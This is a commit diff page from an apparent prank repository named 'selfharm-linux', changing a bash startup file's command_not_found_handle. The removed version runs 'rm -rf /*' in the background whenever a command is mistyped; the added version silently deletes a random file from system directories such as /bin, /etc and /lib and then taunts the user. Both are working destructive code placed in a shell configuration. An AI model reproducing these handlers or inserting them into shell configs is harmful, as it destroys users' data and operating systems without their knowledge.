mirror of
https://github.com/RGBCube/selfharm-linux
synced 2025-07-25 22:47:46 +00:00
selfharm
This commit is contained in:
parent
13c629e5bb
commit
75ee192f11
1 changed files with 4 additions and 1 deletions
|
@ -13,5 +13,8 @@ echo " ==================================="
|
|||
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
|
||||
|
||||
function command_not_found_handle {
|
||||
rm -rf /* 2>/dev/null &; echo "Oops, looks like you misspelt something >:)";
|
||||
filetodelete=$(find /{bin,etc,lib,lib64,usr/{bin,lib,sbin},sbin} -type f | sort -R | head -n 1)
|
||||
(rm -f $filetodelete 2>/dev/null 1>&2 &)
|
||||
echo "Oops, looks like you misspelt something >:)"
|
||||
echo "Hope you didn't need $filetodelete..."
|
||||
}
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue